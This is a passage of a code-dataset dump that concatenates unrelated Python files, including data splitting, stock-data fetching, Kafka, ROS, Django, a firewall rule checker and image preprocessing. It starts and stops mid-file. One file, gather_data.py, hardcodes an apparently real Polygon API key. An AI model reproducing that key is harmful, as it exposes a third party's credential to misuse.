\"\n \"or an iterable containing those indices\")\n return np.array(withhold, dtype=int)\n\n\ndef hash_withhold(withheld_idxs, length=6):\n \"\"\" hash the withheld indices for file & directory naming purposes \"\"\"\n hash_object = hashlib.shake_256(withheld_idxs)\n w = hash_object.hexdigest(length)\n return w\n\n\ndef train_tune_test(ds, train_size=.90, tune_size=.1, test_size=0., withhold=None,\n rseed=8, out_dir=None, overwrite=False):\n \"\"\" split data into train, tune, and test sets \"\"\"\n if train_size + tune_size + test_size != 1:\n raise ValueError(\"train_size, tune_size, and test_size must add up to 1. current values are \"\n \"tr={}, tu={}, and te={}\".format(train_size, tune_size, test_size))\n\n # set the random seed\n np.random.seed(rseed)\n\n # keep track of all the splits we make\n split = {}\n\n # set up the indices that will get split\n idxs = np.arange(0, ds.shape[0])\n\n # withhold supertest data if specified -- can be either a file specifying idxs or an iterable with idxs\n if withhold is not None:\n withhold = load_withhold(withhold)\n # the withheld indices will be saved as part of the split for future reference\n split[\"stest\"] = withhold\n # remove the idxs to withhold from the pool of idxs\n idxs = np.array(sorted(set(idxs) - set(withhold)), dtype=int)\n\n if tune_size > 0:\n if tune_size == 1:\n split[\"tune\"] = idxs\n else:\n idxs, tune_idxs = train_test_split(idxs, test_size=tune_size)\n split[\"tune\"] = tune_idxs\n if test_size > 0:\n adjusted_test_size = np.around(test_size / (1 - tune_size), 5)\n if adjusted_test_size == 1:\n split[\"test\"] = idxs\n else:\n idxs, test_idxs = train_test_split(idxs, test_size=adjusted_test_size)\n split[\"test\"] = test_idxs\n if train_size > 0:\n adjusted_train_size = np.around(train_size / (1 - tune_size - test_size), 5)\n if adjusted_train_size == 1:\n split[\"train\"] = idxs\n else:\n idxs, train_idxs = train_test_split(idxs, test_size=adjusted_train_size)\n split[\"train\"] = train_idxs\n\n out_dir_split = None\n if out_dir is not None:\n # compute a hash of the withheld indices (if any) in order to support at least some name differentiation\n w = \"F\" if withhold is None else hash_withhold(split[\"stest\"])\n out_dir_split = join(out_dir, \"standard_tr{}_tu{}_te{}_w{}_r{}\".format(train_size, tune_size, test_size, w, rseed))\n if isdir(out_dir_split) and not overwrite:\n raise FileExistsError(\"split already exists: {}. if you think this is a withholding hash collision, \"\n \"i recommend increasing hash length or specifying an out_dir other than {}\".format(\n out_dir_split, out_dir))\n else:\n logger.info(\"saving train-tune-test split to directory {}\".format(out_dir_split))\n save_split(split, out_dir_split)\n return split, out_dir_split\n\n\ndef reduced_train_size(ds, tune_size=.1, test_size=0., train_prop=.5, num_train_reps=5,\n withhold=None, rseed=8, out_dir=None, overwrite=False):\n \"\"\" create splits for reduced train size model. this function first removes any withholding. then it computes\n the tune and test splits using the full amount of data remaining after removing the withholding. then from the\n remaining data, it generates the requested number of train replicates using the requested proportion.\n if specifying the same random seed, should result in the same tune and test splits as train_test_split().\n further, if you specify a train prop of 1, this is equivalent to doing a regular train-tune-test split where\n train_size = 1 - (tune_size + test_size) \"\"\"\n\n # set the random seed\n np.random.seed(rseed)\n\n # each replicate will still have the same tune and test splits\n split_template = {}\n\n # set up the indices that will get split\n idxs = np.arange(0, ds.shape[0])\n\n # withhold supertest data if specified -- can be either a file specifying idxs or an iterable with idxs\n if withhold is not None:\n withhold = load_withhold(withhold)\n # the withheld indices will be saved as part of the split for future reference\n split_template[\"stest\"] = withhold\n # remove the idxs to withhold from the pool of idxs\n idxs = np.array(sorted(set(idxs) - set(withhold)), dtype=int)\n\n if tune_size > 0:\n idxs, tune_idxs = train_test_split(idxs, test_size=tune_size)\n split_template[\"tune\"] = tune_idxs\n if test_size > 0:\n adjusted_test_size = np.around(test_size / (1 - tune_size), 5)\n idxs, test_idxs = train_test_split(idxs, test_size=adjusted_test_size)\n split_template[\"test\"] = test_idxs\n\n # there will be num_train_reps splits\n splits = []\n for i in range(num_train_reps):\n # make a copy of the template containing tune, test, and withheld indices\n split_i = split_template.copy()\n if train_prop == 1:\n # train proportion of 1 is a special case where all remaining indices not in tune, test, or withheld\n # are placed in the test set. This is equivalent to doing a regular train-tune-test split where\n # train_size = 1 - (tune_size + test_size)\n split_i[\"train\"] = idxs\n # no need to have multiple replicates here since each replicate would have the same training data\n break\n\n train_idxs, unused_idxs = train_test_split(idxs, train_size=train_prop)\n split_i[\"train\"] = train_idxs\n splits.append(split_i)\n\n # save out to directory\n out_dir_split = None\n if out_dir is not None:\n # compute a hash of the withheld indices (if any) in order to support at least some name differentiation\n w = \"F\" if withhold is None else hash_withhold(split_template[\"stest\"])\n out_dir_split = join(out_dir, \"reduced_tr{}_tu{}_te{}_w{}_s{}_r{}\".format(train_prop, tune_size, test_size, w,\n num_train_reps, rseed))\n if isdir(out_dir_split) and not overwrite:\n raise FileExistsError(\"split already exists: {}. if you think this is a withholding hash collision, \"\n \"i recommend increasing hash length or specifying an out_dir other than {}\".format(\n out_dir_split, out_dir))\n else:\n logger.info(\"saving reduced split to directory {}\".format(out_dir_split))\n for i, split in enumerate(splits):\n out_dir_split_rep = join(out_dir_split, basename(out_dir_split) + \"_rep_{}\".format(i))\n save_split(split, out_dir_split_rep)\n\n return splits, out_dir_split\n\n\ndef save_split(split, d):\n \"\"\" save a split to a directory \"\"\"\n utils.mkdir(d)\n for k, v in split.items():\n out_fn = join(d, \"{}.txt\".format(k))\n utils.save_lines(out_fn, v)\n\n\ndef load_single_split_dir(split_dir):\n fns = [join(split_dir, f) for f in os.listdir(split_dir)]\n split = {}\n for f in fns:\n split_name = basename(f)[:-4]\n split_idxs = np.loadtxt(f, delimiter=\"\\n\", dtype=int)\n split[split_name] = split_idxs\n return split\n\n\ndef load_split_dir(split_dir):\n \"\"\" load saved splits. assumes the given directory contains only text files (for a regular train-test-split)\n or only directories (containing replicates for a reduced train size split). any split dirs created with\n this script should be fine. \"\"\"\n\n if not isdir(split_dir):\n raise FileNotFoundError(\"split directory doesn't exist: {}\".format(split_dir))\n\n # get all the files in the given split_dir\n fns = [join(split_dir, f) for f in os.listdir(split_dir)]\n\n # reduced train size split dir with multiple split replicates\n if isdir(fns[0]):\n splits = []\n for fn in fns:\n splits.append(load_single_split_dir(fn))\n return splits\n\n else:\n split = load_single_split_dir(split_dir)\n return split\n\n\ndef main():\n pass\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"code/split_dataset.py","file_name":"split_dataset.py","file_ext":"py","file_size_in_byte":10048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"82385889","text":"import datetime\nimport pandas as pd\nfrom polygon import RESTClient\n\n\nkey = \"BZXkxXKLVlfWZURTt67mZBpw76TetHUF\"\nclient = RESTClient(key)\npoly_cols = ['v', 'vw', 'o', 'c', 'h', 'l', 't', 'n']\n\n\ndef ts_to_datetime(ts) -> str:\n return datetime.datetime.fromtimestamp(ts / 1000.0).strftime('%Y-%m-%d %H:%M')\n\n\ndef add_bars(tickers=None,\n from_date_str=\"2021-09-01\",\n to_date_str=\"2021-09-01\"):\n tmp_df = pd.DataFrame(columns=['tckr'] + poly_cols)\n # with RESTClient(key) as client:\n from_ = from_date_str\n to = to_date_str\n for tckr in tickers:\n resp = client.stocks_equities_aggregates(tckr, 1, \"minute\", from_, to, unadjusted=False, limit=1000)\n tmp_df = tmp_df.append(resp.results, ignore_index=True)\n # tmp_df['tckr'][tmp_df['tckr'].isna()] = tckr\n tmp_df['tckr'] = tmp_df['tckr'].fillna(tckr)\n try:\n tmp_df['t'] = pd.to_datetime(tmp_df['t'], unit='ms')\n except:\n print(\"Got a timestamp conversion error\")\n return tmp_df\n\n\ndef main(df=None):\n if df is None:\n qqq_df = pd.DataFrame(columns=['tckr'] + poly_cols)\n else:\n qqq_df = df\n data = pd.read_csv(\"Nasdaq100.csv\")\n tckr_list = data['Symbol'].tolist()[100:] # Use this for full list of symbols\n # tckr_list = ['QQQ']\n new_tckr_df = add_bars(tickers=tckr_list,\n from_date_str=\"2021-09-01\",\n to_date_str=\"2021-09-01\")\n qqq_df = pd.concat([qqq_df, new_tckr_df], axis=0)\n\n # RESTClient can be used as a context manager to facilitate closing the underlying http session\n # https://requests.readthedocs.io/en/master/user/advanced/#session-objects\n # with RESTClient(key) as client:\n # resp = client.stocks_equities_daily_open_close(\"AAPL\", \"2021-06-11\")\n # print(f\"On: {resp.from_} Apple opened at {resp.open} and closed at {resp.close}\")\n\n # with RESTClient(key) as client:\n # from_ = \"2021-09-01\"\n # to = \"2021-09-01\"\n # resp = client.stocks_equities_aggregates(\"AAPL\", 1, \"minute\", from_, to, unadjusted=False, limit=10000)\n #\n # print(f\"Minute aggregates for {resp.ticker} between {from_} and {to}.\")\n #\n # qqq_df = qqq_df.append(resp.results, ignore_index=True)\n # qqq_df['tckr'][qqq_df['tckr'].isna()] = 'AAPL'\n # qqq_df['t'] = pd.to_datetime(qqq_df['t'], unit='ms')\n # for result in resp.results:\n # dt = ts_to_datetime(result[\"t\"])\n #\n #\n # print(f\"{dt}\\n\\tO: {result['o']}\\n\\tH: {result['h']}\\n\\tL: {result['l']}\\n\\tC: {result['c']} \")\n\n return qqq_df\n\n\nif __name__ == '__main__':\n data_df = main(df=pd.read_pickle(\"./data_5.pkl\"))\n data_df.to_pickle(\"./data_5.pkl\")\n # data_df = pd.read_pickle(\"./data_5.pkl\")","sub_path":"gather_data.py","file_name":"gather_data.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"86579517","text":"# 03_recursion_sum.py\n\n\n# 求和 1 + 2 + 3 + ..... + 98 + 99 +100 的和\n\ndef mysum(x):\n if x <= 1: # 设置递归的终止点\n return 1\n return x + mysum(x-1)\n\n\nv = mysum(100)\nprint(v)\n","sub_path":"第一阶段/3. Python02/day05/code/03_recursion_sum.py","file_name":"03_recursion_sum.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"347628555","text":"from kafka import KafkaProducer\nfrom kafka.errors import KafkaError\nfrom threading import Thread\nimport json\n\ndef on_send_success(record_metadata):\n print(\"Published to Kafka\")\ndef on_send_error(excp):\n print('I am an errback', exc_info=excp)\n\nclass KafkaPublisher:\n def __init__(self, config):\n super().__init__()\n try:\n self._producer = KafkaProducer(bootstrap_servers = config)\n print(\"Connected to Kafka Broker\")\n except Exception as e:\n print(f\"Error occured while connecting: {e}\")\n\n # Produce Async and handle exception\n def produce(self, topic, value, rootLogger):\n try:\n ack = self._producer.send(topic, str.encode(json.dumps(value)))\n except Exception as e:\n rootLogger.info(f\"Encountered error while trying to publish: {e}\")\n \n","sub_path":"scenarios/netops/mqttToKafkaBatchingBridge/cloud_publisher.py","file_name":"cloud_publisher.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"55034837","text":"#__author: \"Jing Xu\"\n#date: 2018/2/9\n\nimport tensorflow as tf\n\nv1 = tf.constant([1.0, 2.0, 3.0, 4.0])\nv2 = tf.constant([4.0, 3.0, 2.0, 1.0])\n\nsess = tf.InteractiveSession()\n# tf.greater的输入是两个张量,此函数会比较这两个输入张量中每一个元素的大小,并返回比较结果\n# tf.where替换旧版本tf.select,该函数有三个参数,第一个为选择条件依据,当选择条件为True时,选择第二个参数中的值,否则使用第三个参数中的值\nprint(tf.greater(v1, v2).eval())\nprint(tf.where(tf.greater(v1, v2), v1, v2).eval())\nsess.close()\n","sub_path":"Repo_Python/tensorflow/ch04/ch040202.py","file_name":"ch040202.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"462590045","text":"#!/usr/bin/env python\n\nimport rospy\nimport tf\nfrom nav_msgs.msg import Odometry\n\nnew_odom_pub = None\n\ndef odom_callback(odom):\n\n global new_odom_pub\n\n odom.pose.pose.position.z = -1*odom.pose.pose.position.z;\n br = tf.TransformBroadcaster()\n br.sendTransform((0,0,odom.pose.pose.position.z*2),\n tf.transformations.quaternion_from_euler(0,0,0),\n rospy.Time.now(),\n \"odom_z\",\n \"base_link\")\n new_odom_pub.publish(odom)\n\ndef z_odom_repub():\n\n global new_odom_pub\n\n rospy.init_node('new_odom_pub', anonymous=True)\n\n new_odom_pub = rospy.Publisher(\"/sensor_fusion/odometry/filtered_z_flip\", Odometry, queue_size=1)\n\n pose_sub = rospy.Subscriber(\"/sensor_fusion/odometry/filtered\", Odometry, odom_callback)\n\n rospy.spin()\n\nif __name__ == '__main__':\n try:\n z_odom_repub()\n except rospy.ROSInterruptException:\n rospy.loginfo(\"Z Odom Repub Broke\")\n","sub_path":"Gazebo_Sim/leviathan_gazebo_drivers/src/z_odom_repub.py","file_name":"z_odom_repub.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"326326951","text":"# Better than 96.34% runtime and 96.93% memory usage.\n# Time complexity = Space complexity: O(3^N * 4^M), where N is the number of the digits in the input that maps to 3 letters, and M is the number of digits in the input that maps to 4 letters, and N+M is total number digits in the input.\nclass Solution:\n def letterCombinations(self, digits):\n dic = {\n \"2\": [\"a\", \"b\", \"c\"],\n \"3\": [\"d\", \"e\", \"f\"],\n \"4\": [\"g\", \"h\", \"i\"],\n \"5\": [\"j\", \"k\", \"l\"],\n \"6\": [\"m\", \"n\", \"o\"],\n \"7\": [\"p\", \"q\", \"r\",\"s\"],\n \"8\": [\"t\", \"u\", \"v\"],\n \"9\": [\"w\", \"x\", \"y\", \"z\"]\n }\n if len(digits) == 0:\n return []\n digit_list = list(digits)\n res = []\n \n def dfs(index, path, res):\n if index == len(digit_list):\n res.append(path)\n return\n sub = []\n for v in dic[digit_list[index]]:\n for p in path:\n sub.append( p + v )\n path = sub\n dfs(index+1, path, res)\n \n dfs(0, [\"\"], res)\n return res[0]\n ","sub_path":"LC17_letter_combinations.py","file_name":"LC17_letter_combinations.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"521611120","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('blogs/',views.blogs,name='blogs'),\n path('bsearch/',views.bsearch,name='bsearch'),\n path('asearch/',views.asearch,name='asearch'),\n\n path('blog_details/',views.blog_details,name='blog_details'),\n path('blog_detail/',views.blog_detail,name='blog_detail'),\n\n # APIs to post a comment\n path('postComment/',views.postComment,name='postComment'),\n \n]","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"426653289","text":"from neo4j import GraphDatabase\n\nfrom tests import api_\nfrom reddit_detective import RedditNetwork, Comments\nfrom reddit_detective.data_models import Redditor\n\ndriver_ = GraphDatabase.driver(\n \"bolt://localhost:7687\",\n auth=(\"neo4j\", \"testing\")\n)\n\n\ndef test_network():\n net = RedditNetwork(\n driver=driver_,\n components=[\n Comments(Redditor(api_, \"BloodMooseSquirrel\", limit=5)),\n Comments(Redditor(api_, \"Anub_Rekhan\", limit=5))\n ]\n )\n assert net\n assert len(set(net._codes())) == len(net._codes())\n assert net.cypher_code()\n net.run_cypher_code()\n\n\ndef run():\n test_network()\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"tests/test_network.py","file_name":"test_network.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"118320698","text":"import django.conf.global_settings as DEFAULT_SETTINGS\n\n\nSECRET_KEY = 'globetrotting_is_cool'\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': ':memory:',\n },\n}\n\nINSTALLED_APPS = (\n 'globetrotting',\n)\n\nMIDDLEWARE_CLASSES = DEFAULT_SETTINGS.MIDDLEWARE_CLASSES\n\nTEST_RUNNER = 'django.test.runner.DiscoverRunner'\n","sub_path":"globetrotting/test_settings.py","file_name":"test_settings.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"322934917","text":"import logging, os, json\n\nlog = logging.getLogger(__name__)\n\nclass DataCapture:\n captured_data = {\n \"request_payload\": None,\n \"prometheus_requests\": [],\n \"prometheus_responses\": [],\n \"service_response\": None\n }\n data_capture_mode = None\n\n @classmethod\n def fill_value(cls, key, value):\n if cls.data_capture_mode == \"ON\":\n cls.captured_data[key] = value\n\n @classmethod\n def append_value(cls, key, value):\n if cls.data_capture_mode == \"ON\":\n cls.captured_data[key].append(value)\n\n @classmethod\n def initialize_data_capture(cls):\n cls.captured_data = {\n \"request_payload\": None,\n \"prometheus_requests\": [],\n \"prometheus_responses\": [],\n \"service_response\": None\n }\n\n @classmethod\n def save_data(cls):\n if cls.data_capture_mode == \"ON\":\n data_capture_file_path = \"data_captured.json\"\n exists = os.path.isfile(data_capture_file_path)\n if exists:\n with open(data_capture_file_path, 'r+') as json_file:\n try:\n captured_so_far = json.load(json_file)\n captured_so_far.append(cls.captured_data)\n json_file.seek(0)\n json.dump(captured_so_far, json_file)\n except:\n with open(data_capture_file_path, 'w') as f:\n json.dump([cls.captured_data], f)\n else:\n with open(data_capture_file_path, 'w') as f:\n json.dump([cls.captured_data], f)\n cls.initialize_data_capture()\n","sub_path":"iter8_analytics/metrics_backend/datacapture.py","file_name":"datacapture.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"416517765","text":"from flask import Flask\nfrom flask_menu import Menu\nfrom flask_migrate import Migrate\nimport configparser\nimport os\nfrom app.views import main\nfrom app.extensions import db, login_manager, yaml\nfrom app.models import Question_constructor\n\n\napp_dir = os.getcwd()\n\n\ndef prepare_env():\n config = configparser.ConfigParser()\n config.optionxform = str\n config.read('config.ini')\n for key in config['global']:\n val = config['global'][key]\n os.environ[key] = val\n\n\nclass Config(object):\n\n SQLALCHEMY_DATABASE_URI = 'sqlite:///{}/app.db'.format(app_dir)\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n\n\ndef create_app(config=Config):\n prepare_env()\n app = Flask(__name__)\n app.config.from_object(config)\n app.secret_key = os.urandom(24)\n app.register_blueprint(main)\n Menu(app=app)\n db.init_app(app)\n login_manager.init_app(app)\n login_manager.login_view = \"main.login\"\n login_manager.login_message_category = \"warning\"\n return app\n\n\napp = create_app()\nmigrate = Migrate(app, db)\n\nyaml.add_constructor('!Question', Question_constructor)\n","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"477770911","text":"import numpy as np\n\n\ndef image_pre_process(target: np.ndarray):\n def thinning(image: np.ndarray):\n window_size = 3\n mask = np.array([[1, 2, 1],\n [2, 5, 2],\n [1, 2, 1]])\n\n # window scanning\n for idx_row in range(image.shape[0] - window_size + 1):\n for idx_col in range(image.shape[1] - window_size + 1):\n image[idx_row:idx_row + window_size, idx_col:idx_col + window_size] *= mask\n\n # TODO: go with normalization\n res = (image >= 20).astype(int)\n\n return res\n\n def boundary_pixel(image: np.ndarray):\n row_start, row_end, col_start, col_end = np.inf, -np.inf, np.inf, -np.inf\n # set image start and end index\n for idx_row in range(image.shape[0]):\n for idx_col in range(image.shape[1]):\n if image[idx_row][idx_col] == 1:\n if row_start > idx_row:\n row_start = idx_row\n\n if row_end < idx_row:\n row_end = idx_row\n\n if col_start > idx_col:\n col_start = idx_col\n\n if col_end < idx_col:\n col_end = idx_col\n\n pixel_start, pixel_end = (row_start + 1, col_start + 1), (row_end + 1, col_end + 1)\n\n return pixel_start, pixel_end\n\n def margin_shift(target: tuple):\n return int((target[1] - target[0]) / 2)\n\n def margin(start: tuple, end: tuple, axis=0):\n result = (start[axis] - 1, 7 - end[axis])\n\n return result\n\n def delta(target: tuple, target_type=\"\"):\n result = abs(target[0] - target[1])\n\n if target_type == \"pixel\":\n result += 1\n\n return result\n\n def image_crop(image: np.ndarray, start: tuple, end: tuple):\n return image[start[0]-1:end[0], start[1]-1:end[1]]\n\n target = np.reshape(target, (-1, 7, 7))\n\n for idx in range(target.shape[0]):\n image = target[idx]\n\n px_start, px_end = boundary_pixel(image)\n\n crop_width = delta((px_start[1], px_end[1]), target_type=\"pixel\")\n crop_height = delta((px_start[0], px_end[0]), target_type=\"pixel\")\n # if image size is under 3x3\n if crop_width < 4 and crop_height < 4:\n cropped = image_crop(image, px_start, px_end)\n\n if crop_width < 3 or crop_height < 3:\n blank = np.zeros((3, 3))\n blank[0:crop_height, 0:crop_width] = cropped\n\n cropped = blank\n\n image = np.repeat(np.repeat(cropped, 2, axis=0), 2, axis=1) # then double it\n image = thinning(image)\n image = np.append(image, [[0], [0], [0], [0], [0], [0]], axis=1)\n image = np.append(image, [[0, 0, 0, 0, 0, 0, 0]], axis=0)\n\n px_start, px_end = boundary_pixel(image)\n\n margin_width = margin(px_start, px_end, axis=1)\n margin_height = margin(px_start, px_end, axis=0)\n\n if delta(margin_width) > 1:\n image = np.roll(image, shift=margin_shift(margin_width), axis=1)\n\n if delta(margin_height) > 1:\n image = np.roll(image, shift=margin_shift(margin_height), axis=0)\n\n target[idx] = image\n\n target = np.reshape(target, (-1, 49))\n\n return target\n","sub_path":"my_mnist/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"30278533","text":"\"\"\"\nImplements a naive firewall which stores firewall rules in a list.\n\nThis program can be run in the terminal using this command:\n python3 naive_firewall.py\n\"\"\"\n\n\nimport csv\nimport time\nfrom typing import Optional\n\nfrom firewall_rule import FirewallRule\n\n\nclass Firewall(object):\n \"\"\"\n A data structure to represent a firewall. A firewall contains a list of\n firewall rules.\n\n The data structure is a hash-set of firewall rules. The hash-set prevents\n duplicate firewall rules from being added.\n \"\"\"\n\n def __init__(self, csv_file_path: Optional[str] = None):\n \"\"\"\n Initialize the firewall by reading and storing the firewall rules of\n the CSV file.\n \"\"\"\n self.fw_rules = set()\n if csv_file_path:\n with open(csv_file_path, \"r\") as csv_file:\n csv_reader = csv.reader(csv_file)\n for csv_fw_rule in csv_reader:\n self.add_fw_rule(FirewallRule(*csv_fw_rule))\n\n def add_fw_rule(self, fw_rule: FirewallRule) -> None:\n \"\"\"Add the provided firewall rule to the data structure.\"\"\"\n self.fw_rules.add(fw_rule)\n\n def accept_packet(\n self, direction: str, protocol: str, port: int, ip_address: str\n ) -> bool:\n \"\"\"\n Determine whether the firewall can accept the packet with its rules.\n \"\"\"\n for fw_rule in self.fw_rules:\n if fw_rule.is_match(direction, protocol, port, ip_address):\n return True\n return False\n\n\nif __name__ == \"__main__\":\n start_time = time.time()\n fw = Firewall(\"500k_rules.csv\")\n end_time = time.time()\n duration = end_time - start_time\n print(f\"Naive firewall time duration to add rules: {duration}\")\n\n start_time = time.time()\n print(fw.accept_packet(\"inbound\", \"tcp\", 80, \"192.168.1.2\"))\n print(fw.accept_packet(\"inbound\", \"udp\", 53, \"192.168.2.1\"))\n print(fw.accept_packet(\"inbound\", \"udp\", 53, \"192.168.2.1\"))\n print(fw.accept_packet(\"inbound\", \"tcp\", 81, \"192.168.1.2\"))\n print(fw.accept_packet(\"inbound\", \"udp\", 24, \"52.12.48.92\"))\n end_time = time.time()\n duration = end_time - start_time\n print(f\"Naive firewall time duration to accept packets: {duration}\")\n","sub_path":"naive_firewall.py","file_name":"naive_firewall.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"510034747","text":"\ndef week_generator():\n loop = 0\n while(loop == 0):\n switch = 0\n while(switch == 0):\n days = ('Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saterday', 'Sunday')\n Input_User = input(\"Please enter a day of the week: \")\n def weekdays (weekday):\n index = days.index(weekday)\n return list(days[index:] + days)[:7]\n if Input_User in days:\n print(weekdays(Input_User))\n switch = 1\n else:\n print(\"This is not a day of the week enter another day\")\n \n\n \n \nweek_generator()\n","sub_path":"__In Progress/Python/Week Generator.py","file_name":"Week Generator.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"279968568","text":"from django.urls import path\nfrom . import views\n\n\napp_name = 'accounts'\n\nurlpatterns = [\n # # 관리자 Path\n path('users/', views.list, name='list'),\n # path('users//edit/', views.user_edit, name='user_edit'),\n # path('users//delete/', views.user_delete, name='user_edit'),\n\n # # 유저 Path\n path('signup/', views.signup, name='signup'),\n path('login/', views.login, name='login'),\n path('logout/', views.logout, name='logout'),\n path('/', views.detail, name='detail'),\n path('/follow/', views.follow, name='follow'),\n # path('profile/', views.profile, name='profile'),\n # path('profile/edit/', views.profile_edit, name='profile_edit'),\n]","sub_path":"accounts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"87977133","text":"#!/bin/python3\n################################################################################\n# Requires:\n# bpstandard.py\n# structures.py\n#\n# 1ry/bohr^3 = 1.471050658D13 Pa\n# 1ry/bohr^3= 1.471050658D7 MPa\n#\n#\n\nimport getopt\nimport math\nimport os\nimport subprocess\nimport numpy\nimport copy\nimport time\n\nimport os\nimport sys\n#include = os.environ['PYLIB']\n#sys.path.append(include)\n\nfrom bpstandard import oFileData as oFileData\nfrom bpstandard import oStrings as oStrings\nfrom structures import structures as structures\nfrom pwIn import pwIn as pwIn\nfrom pwOut import pwOut as pwOut\nfrom pwOut import pwCompare as pwCompare\nfrom runPw import runPw as runPw\nfrom gnuplot import gnuplot as gnuplot\n\nclass convergence:\n iCount = 0 # Instance counter\n\n def __init__(self):\n convergence.iCount = convergence.iCount + 1 # Increment instance counter\n self.cmdLog = []\n self.resultsArr = []\n self.startTime = time.time()\n # Init files\n self.tFile = oFileData()\n self.wFile = oFileData()\n self.dFile = oFileData()\n # Load control file\n self.controlFile()\n\n def controlFile(self):\n print (\"Reading control file\")\n print (\"==================================================\")\n self.args = str(sys.argv) # Store input argument as the templateFile\n self.cFileName = sys.argv[1]\n self.cFile = oFileData()\n self.cFile.loadFile(self.cFileName)\n self.tmpDir = \"tmp\"\n self.runType = \"full\"\n self.copies = 2\n self.convergeChoice = 3\n self.kPointStart = 1\n self.kPointEnd = 12\n self.min_ecutwfc = 20\n self.runCode = 0 # Default\n self.pwtemplate = None\n\n self.atomList = []\n self.massList = []\n self.ppList = []\n\n for i in range(0,self.cFile.lineCount):\n # Directories\n #######################\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$TMPDIR\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.tmpDir = fileRowArr[1]\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$OUTDIR\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.outdir = fileRowArr[1]\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$PPDIR\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.ppdir = fileRowArr[1]\n\n # PWscf Settings\n #######################\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$PWTEMPLATE\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.pwtemplate = fileRowArr[1]\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$ATOMLIST\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n for i in range(1,len(fileRowArr)):\n self.atomList.append(fileRowArr[i])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$MASSLIST\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n for i in range(1,len(fileRowArr)):\n self.massList.append(fileRowArr[i])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$PPLIST\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n for i in range(1,len(fileRowArr)):\n self.ppList.append(fileRowArr[i])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$STRUCTURE\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.structure = fileRowArr[1]\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$ALAT\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.inputAlat = float(fileRowArr[1])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$COPIES\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.copies = int(fileRowArr[1])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$NSPIN\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.nspin = int(fileRowArr[1])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$MIXING_MODE\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.mixing_mode = fileRowArr[1]\n\n\n # Run Settings\n #######################\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$PROCS\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.procCount = int(fileRowArr[1])\n keywordResult = self.checkKeyword(self.cFile.fileData[i], \"$CONVERGE\", True)\n if(keywordResult is not None):\n fileRowArr = keywordResult.split(\" \")\n self.convergeChoice = int(fileRowArr[1])\n keywordResult = 